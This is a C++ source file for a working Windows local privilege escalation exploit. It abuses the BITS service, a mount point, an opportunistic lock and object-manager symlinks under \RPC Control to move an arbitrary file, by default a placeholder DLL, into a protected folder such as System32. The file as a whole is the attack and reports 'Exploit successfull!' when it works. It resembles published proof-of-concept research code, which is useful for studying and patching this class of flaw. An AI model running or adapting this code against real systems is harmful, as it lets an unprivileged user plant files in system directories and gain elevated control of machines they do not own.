// Windows #include // BitsArbitraryFileMove #include "BitsArbitraryFileMove.h" #include "CBitsCom.h" // Symbolic link testing tools #include "..\CommonUtils\CommonUtils.h" #include "..\CommonUtils\ReparsePoint.h" #include "..\CommonUtils\FileOpLock.h" #include "..\CommonUtils\FileSymlink.h" BitsArbitraryFileMove::BitsArbitraryFileMove() { m_bCustomSourceFile = FALSE; ZeroMemory(m_wszWorkspaceDirPath, MAX_PATH * sizeof(WCHAR)); ZeroMemory(m_wszMountpointDirPath, MAX_PATH * sizeof(WCHAR)); ZeroMemory(m_wszBaitDirPath, MAX_PATH * sizeof(WCHAR)); ZeroMemory(m_wszSourceFilePath, MAX_PATH * sizeof(WCHAR)); ZeroMemory(m_wszTargetFilePath, MAX_PATH * sizeof(WCHAR)); ZeroMemory(m_wszBitsLocalFileName, MAX_FILENAME * sizeof(WCHAR)); ZeroMemory(m_wszBitsTempFileName, MAX_FILENAME * sizeof(WCHAR)); ZeroMemory(m_wszBitsTempFilePath, MAX_PATH * sizeof(WCHAR)); } BitsArbitraryFileMove::~BitsArbitraryFileMove() { CleanUp(); } BOOL BitsArbitraryFileMove::Run(LPCWSTR pwszSrcFile, LPCWSTR pwszDstFile) { WCHAR wszMsg[MAX_MSG]; // ======================================================================== // Check whether target file already exists // ======================================================================== StringCchCat(m_wszTargetFilePath, MAX_PATH, pwszDstFile); if (TargetFileExists()) { wprintf_s(L"[-] Target file '%ls' already exists. Aborting.\n", m_wszTargetFilePath); return FALSE; } // ======================================================================== // Prepare environment // ======================================================================== if (!PrepareWorkspace()) { wprintf_s(L"[-] BitsArbitraryFileMove::PrepareWorkspace() failed.\n"); return FALSE; } wprintf_s(L"[*] Workspace: '%ls'.\n", m_wszWorkspaceDirPath); // ======================================================================== // Handle source file // If a source file path is provided, set it as the source file path for // the exploit. Otherwise, write embedded DLL in the workspace. // ======================================================================== if (pwszSrcFile == NULL) { swprintf_s(m_wszSourceFilePath, MAX_PATH, L"%ls%ls", m_wszWorkspaceDirPath, L"FakeDll.dll"); if (WriteSourceFile()) { if (DEBUG) { wprintf_s(L"[DEBUG] Created 64-bit DLL '%ls'.\n", m_wszSourceFilePath); } } else { wprintf_s(L"[-] BitsArbitraryFileMove::WriteEmbeddedDll() failed.\n"); return FALSE; } } else { m_bCustomSourceFile = TRUE; StringCchCat(m_wszSourceFilePath, MAX_PATH, pwszSrcFile); } wprintf_s(L"[*] Source file: '%ls'.\n", m_wszSourceFilePath); wprintf_s(L"[*] Destination file: '%ls'.\n", m_wszTargetFilePath); // ======================================================================== // Create a mountpoint from MountPointDir to BaitDir // ======================================================================== if (!ReparsePoint::CreateMountPoint(m_wszMountpointDirPath, m_wszBaitDirPath, L"")) { wprintf_s(L"[-] ReparsePoint::CreateMountPoint('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, ReparsePoint::GetLastError()); return FALSE; } wprintf_s(L"[*] Created Mount Point: '%ls' -> '%ls'.\n", m_wszMountpointDirPath, m_wszBaitDirPath); // ======================================================================== // BITS - Create Group, create a Job and add file // ======================================================================== CBitsCom cBitsCom; WCHAR wszJobLocalFilename[MAX_PATH]; StringCchCat(m_wszBitsLocalFileName, MAX_FILENAME, L"test.txt"); ZeroMemory(wszJobLocalFilename, MAX_PATH * sizeof(WCHAR)); swprintf_s(wszJobLocalFilename, MAX_PATH, L"%ls%ls", m_wszMountpointDirPath, m_wszBitsLocalFileName); if (DEBUG) { wprintf_s(L"[DEBUG] Using Local File '%ls'\n", wszJobLocalFilename); } if (cBitsCom.PrepareJob(wszJobLocalFilename) != BITSCOM_ERR_SUCCESS) { wprintf_s(L"[-] CBitsCom::PrepareJob('%ls') failed.\n", wszJobLocalFilename); return FALSE; } wprintf_s(L"[*] Created BITS job with local file: '%ls'.\n", wszJobLocalFilename); // ======================================================================== // Find the TMP file created by BITS // ======================================================================== Sleep(3000); if (!FindBitsTempFile()) { wprintf_s(L"[-] BitsArbitraryFileMove::FindBitsTempFile() failed.\n"); return FALSE; } ZeroMemory(wszMsg, MAX_MSG * sizeof(WCHAR)); swprintf_s(wszMsg, MAX_MSG, L"[+] Found BITS temp file: '%ls'\n", m_wszBitsTempFileName); PrintSuccess(wszMsg); // ======================================================================== // Reconstruct the full path of the TMP file // ======================================================================== int result = swprintf_s(m_wszBitsTempFilePath, MAX_PATH, L"%ls%ls", m_wszBaitDirPath, m_wszBitsTempFileName); if (result == -1) if (DEBUG) { wprintf_s(L"[DEBUG] BITS temp file path: '%ls'\n", m_wszBitsTempFilePath); } // ======================================================================== // Set an oplcok on the temp file // ======================================================================== FileOpLock* oplock = nullptr; //oplock = FileOpLock::CreateLock(m_wszBitsTempFilePath, L"", HandleOplock); oplock = FileOpLock::CreateLock(m_wszBitsTempFilePath, L"", nullptr); if (oplock == nullptr) { wprintf_s(L"[-] FileOpLock::CreateLock('%ls') failed.\n", m_wszBitsTempFilePath); return FALSE; } wprintf_s(L"[*] OpLock set on '%ls'.\n", m_wszBitsTempFilePath); // ======================================================================== // Resume BITS job and wait for the oplock to be triggered // ======================================================================== if (cBitsCom.ResumeJob() != BITSCOM_ERR_SUCCESS) { wprintf_s(L"[-] BitsCom::ResumeJob() failed.\n"); delete oplock; return FALSE; } wprintf_s(L"[*] BITS job has been resumed. Waiting for the oplock to be triggered...\n"); oplock->WaitForLock(INFINITE); PrintSuccess(L"[+] OpLock triggered. Switching mountpoint.\n"); // ======================================================================== // Create Mount Point to \RPC Control // ======================================================================== // --- Delete previous mount point --- if (!ReparsePoint::DeleteMountPoint(m_wszMountpointDirPath)) { wprintf_s(L"[-] ReparsePoint::DeleteMountPoint('%ls') failed (Error: %ls).\n", m_wszMountpointDirPath, GetErrorMessage().c_str()); delete oplock; return FALSE; } if (DEBUG) { wprintf_s(L"[DEBUG] Deleted mountpoint: '%ls'.\n", m_wszMountpointDirPath); } // --- Create mountpoint to \RPC Control --- const WCHAR* wszBaseObjDir = L"\\RPC Control"; if (!ReparsePoint::CreateMountPoint(m_wszMountpointDirPath, wszBaseObjDir, L"")) { wprintf_s(L"[-] ReparsePoint::CreateMountPoint('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, ReparsePoint::GetLastError()); delete oplock; return FALSE; } if (DEBUG) { wprintf_s(L"[DEBUG] Created mountpoint: '%ls' -> '%ls'.\n", m_wszMountpointDirPath, wszBaseObjDir); } // ======================================================================== // Create symlinks // ======================================================================== WCHAR wszLinkName[MAX_PATH]; WCHAR wszLinkTarget[MAX_PATH]; // --- TMP file -> source DLL --- ZeroMemory(wszLinkName, MAX_PATH * sizeof(WCHAR)); ZeroMemory(wszLinkTarget, MAX_PATH * sizeof(WCHAR)); swprintf_s(wszLinkName, MAX_PATH, L"%ls\\%ls", wszBaseObjDir, m_wszBitsTempFileName); // -> '\RPC Control\BIT84A4.tmp' swprintf_s(wszLinkTarget, MAX_PATH, L"\\??\\%ls", m_wszSourceFilePath); // -> '\??\C:\Users\lab-user\AppData\Local\Temp\workspace\FakeDll.dll' HANDLE hSymlinkSource = CreateSymlink(nullptr, wszLinkName, wszLinkTarget); if (hSymlinkSource == nullptr) { wprintf_s(L"[-] CreateSymlink('%ls') failed.\n", wszLinkName); delete oplock; return FALSE; } wprintf_s(L"[*] Created Symlink: '%ls' -> '%ls'\n", wszLinkName, wszLinkTarget); // --- Local file -> target DLL --- ZeroMemory(wszLinkName, MAX_PATH * sizeof(WCHAR)); ZeroMemory(wszLinkTarget, MAX_PATH * sizeof(WCHAR)); swprintf_s(wszLinkName, MAX_PATH, L"%ls\\%ls", wszBaseObjDir, m_wszBitsLocalFileName); // -> '\RPC Control\test.txt' swprintf_s(wszLinkTarget, MAX_PATH, L"\\??\\%ls", m_wszTargetFilePath); // -> '\??\C:\Windows\System32\FakeDll.dll' HANDLE hSymlinkDestination = CreateSymlink(nullptr, wszLinkName, wszLinkTarget); if (hSymlinkDestination == nullptr) { wprintf_s(L"[-] CreateSymlink('%ls') failed.\n", wszLinkName); CloseHandle(hSymlinkSource); delete oplock; return FALSE; } wprintf_s(L"[*] Created Symlink: '%ls' -> '%ls'\n", wszLinkName, wszLinkTarget); // ======================================================================== // Release oplock and complete job // ======================================================================== wprintf_s(L"[*] Releasing OpLock and waiting for the job to complete...\n"); delete oplock; if (cBitsCom.CompleteJob() != BITSCOM_ERR_SUCCESS) { wprintf_s(L"[-] BitsCom::CompleteJob() failed.\n"); CloseHandle(hSymlinkSource); CloseHandle(hSymlinkDestination); return FALSE; } if (DEBUG) { wprintf_s(L"[DEBUG] CBitsCom::CompleteJob() OK\n"); } CloseHandle(hSymlinkSource); CloseHandle(hSymlinkDestination); // ======================================================================== // Check whether target DLL exists // ======================================================================== if (!TargetFileExists()) { wprintf_s(L"[-] Target file '%ls' doesn't exist. Exploit failed.", m_wszTargetFilePath); return FALSE; } ZeroMemory(wszMsg, MAX_MSG * sizeof(WCHAR)); swprintf_s(wszMsg, MAX_MSG, L"[+] Found target file '%ls'. Exploit successfull!\n", m_wszTargetFilePath); PrintSuccess(wszMsg); return TRUE; } BOOL BitsArbitraryFileMove::PrepareWorkspace() { /* 0) Prepare workspace Create C:\workspace\ Create C:\workspace\mountpoint\ Create C:\workspace\bait\ C:\workspace |__ mountpoint |__ redir */ DWORD dwRet = 0; WCHAR wszTempPathBuffer[MAX_PATH]; // ======================================================================== // Create a workspace // ======================================================================== dwRet = GetTempPath(MAX_PATH, wszTempPathBuffer); if (dwRet > MAX_PATH || (dwRet == 0)) { wprintf_s(L"[-] GetTempPath() failed (Err: %d).\n", GetLastError()); ZeroMemory(wszTempPathBuffer, MAX_PATH); StringCchCat(wszTempPathBuffer, MAX_PATH, L"C:\\workspace\\"); } else { if (wszTempPathBuffer[wcslen(wszTempPathBuffer) - 1] != '\\') { StringCchCat(wszTempPathBuffer, MAX_PATH, L"\\"); } StringCchCat(wszTempPathBuffer, MAX_PATH, L"workspace\\"); } if (!CreateDirectory(wszTempPathBuffer, nullptr)) { dwRet = GetLastError(); if (dwRet == ERROR_ALREADY_EXISTS) { wprintf_s(L"[!] The directory '%ls' already exists.\n", wszTempPathBuffer); } else { wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, dwRet); } return FALSE; } StringCchCat(m_wszWorkspaceDirPath, MAX_PATH, wszTempPathBuffer); if (DEBUG) { wprintf_s(L"[DEBUG] Using Workspace Directory '%ls'.\n", m_wszWorkspaceDirPath); } // ======================================================================== // Create a directory for the mount point // ======================================================================== ZeroMemory(wszTempPathBuffer, MAX_PATH); StringCchCat(wszTempPathBuffer, MAX_PATH, m_wszWorkspaceDirPath); StringCchCat(wszTempPathBuffer, MAX_PATH, L"mountpoint\\"); if (!CreateDirectory(wszTempPathBuffer, nullptr)) { wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, GetLastError()); return FALSE; } StringCchCat(m_wszMountpointDirPath, MAX_PATH, wszTempPathBuffer); if (DEBUG) { wprintf_s(L"[DEBUG] Using Mount Point Directory '%ls'.\n", m_wszMountpointDirPath); } // ======================================================================== // Create a "bait" directory for the TMP file // ======================================================================== ZeroMemory(wszTempPathBuffer, MAX_PATH); StringCchCat(wszTempPathBuffer, MAX_PATH, m_wszWorkspaceDirPath); StringCchCat(wszTempPathBuffer, MAX_PATH, L"bait\\"); if (!CreateDirectory(wszTempPathBuffer, nullptr)) { wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, GetLastError()); return FALSE; } StringCchCat(m_wszBaitDirPath, MAX_PATH, wszTempPathBuffer); if (DEBUG) { wprintf_s(L"[DEBUG] Using Bait Directory '%ls'.\n", m_wszBaitDirPath); } return TRUE; } BOOL BitsArbitraryFileMove::WriteSourceFile() { HANDLE hFile; BOOL bErrorFlag = FALSE; const char* fileContent = "foo123\r\n"; DWORD dwBytesToWrite = (DWORD)strlen(fileContent); DWORD dwBytesWritten = 0; hFile = CreateFile(m_wszSourceFilePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { wprintf_s(L"[-] CreateFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError()); return FALSE; } bErrorFlag = WriteFile(hFile, fileContent, dwBytesToWrite, &dwBytesWritten, NULL); if (FALSE == bErrorFlag) { wprintf_s(L"[-] WriteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError()); return FALSE; } else { if (dwBytesWritten != dwBytesToWrite) { wprintf_s(L"[-] WriteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError()); return FALSE; } } CloseHandle(hFile); return TRUE; } BOOL BitsArbitraryFileMove::FindBitsTempFile() { WIN32_FIND_DATA structWin32FindData; WCHAR wszSearchPath[MAX_PATH]; HANDLE hRes; ZeroMemory(wszSearchPath, MAX_PATH * sizeof(WCHAR)); StringCchCat(wszSearchPath, MAX_PATH, m_wszBaitDirPath); StringCchCat(wszSearchPath, MAX_PATH, L"BIT*.tmp"); hRes = FindFirstFile(wszSearchPath, &structWin32FindData); if (hRes == INVALID_HANDLE_VALUE) { wprintf_s(L"[-] FindFirstFile('%ls') failed (Err: %d).\n", wszSearchPath, GetLastError()); return FALSE; } StringCchCat(m_wszBitsTempFileName, MAX_FILENAME, structWin32FindData.cFileName); FindClose(hRes); // This was incorrectly CloseHandle() before which is not the right call to make to close this handle. return TRUE; } BOOL BitsArbitraryFileMove::TargetFileExists() { HANDLE hProcess; BOOL bWow64Process; PVOID pOldValue = nullptr; BOOL bRes = FALSE; hProcess = GetCurrentProcess(); if (!IsWow64Process(hProcess, &bWow64Process)) { wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError()); } if (bWow64Process) { // Disable WOW64 file system redirector if (!Wow64DisableWow64FsRedirection(&pOldValue)) { wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError()); } } // Check whether target file exists if (GetFileAttributes(m_wszTargetFilePath) != INVALID_FILE_ATTRIBUTES) { if (DEBUG) { wprintf_s(L"[DEBUG] Found target file '%ls'.\n", m_wszTargetFilePath); } bRes = TRUE; } else { if (DEBUG) { wprintf_s(L"[DEBUG] Target file '%ls' doesn't exist.\n", m_wszTargetFilePath); } } if (bWow64Process) { // Enable WOW64 file system redirector if (!Wow64RevertWow64FsRedirection(pOldValue)) { wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError()); } } CloseHandle(hProcess); return bRes; } void BitsArbitraryFileMove::CleanUp() { wprintf_s(L"[*] Performing clean-up...\n"); // Delete BITS temp file if (wcslen(m_wszBitsTempFilePath) > 0) { if (GetFileAttributes(m_wszBitsTempFilePath) != INVALID_FILE_ATTRIBUTES) { if (!DeleteFile(m_wszBitsTempFilePath)) wprintf_s(L"[!] DeleteFile('%ls') failed (Err: %d).\n", m_wszBitsTempFilePath, GetLastError()); else if (DEBUG) { wprintf_s(L"[DEBUG] Deleted file '%ls'.\n", m_wszBitsTempFilePath); } } } // Delete the source file if it was created by us if (!m_bCustomSourceFile) { if (GetFileAttributes(m_wszSourceFilePath) != INVALID_FILE_ATTRIBUTES) { if (!DeleteFile(m_wszSourceFilePath)) wprintf_s(L"[!] DeleteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError()); else if (DEBUG) { wprintf_s(L"[DEBUG] Deleted file '%ls'.\n", m_wszSourceFilePath); } } } // Remove mount point directory if (wcslen(m_wszMountpointDirPath) > 0) { if (GetFileAttributes(m_wszMountpointDirPath) != INVALID_FILE_ATTRIBUTES) { // Delete Mount Point if (!ReparsePoint::DeleteMountPoint(m_wszMountpointDirPath)) wprintf_s(L"[!] ReparsePoint::DeleteMountPoint('%ls') failed.\n", m_wszMountpointDirPath); else if (DEBUG) { wprintf_s(L"[DEBUG] Deleted Mount Point '%ls'.\n", m_wszMountpointDirPath); } // Remove directory if (!RemoveDirectory(m_wszMountpointDirPath)) wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, GetLastError()); else if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszMountpointDirPath); } } } // Remove bait directory if (wcslen(m_wszBaitDirPath) > 0) { if (GetFileAttributes(m_wszBaitDirPath) != INVALID_FILE_ATTRIBUTES) { if (!RemoveDirectory(m_wszBaitDirPath)) { wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszBaitDirPath, GetLastError()); } else { if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszBaitDirPath); } } } } // Remove workspace directory if (wcslen(m_wszWorkspaceDirPath) > 0) { if (GetFileAttributes(m_wszWorkspaceDirPath) != INVALID_FILE_ATTRIBUTES) { if (!RemoveDirectory(m_wszWorkspaceDirPath)) { wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszWorkspaceDirPath, GetLastError()); } else { if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszWorkspaceDirPath); } } } } return; } void BitsArbitraryFileMove::PrintSuccess(LPCWSTR pwszMsg) { HANDLE hConsole; hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); wprintf_s(L"%ls", pwszMsg); SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_RED); }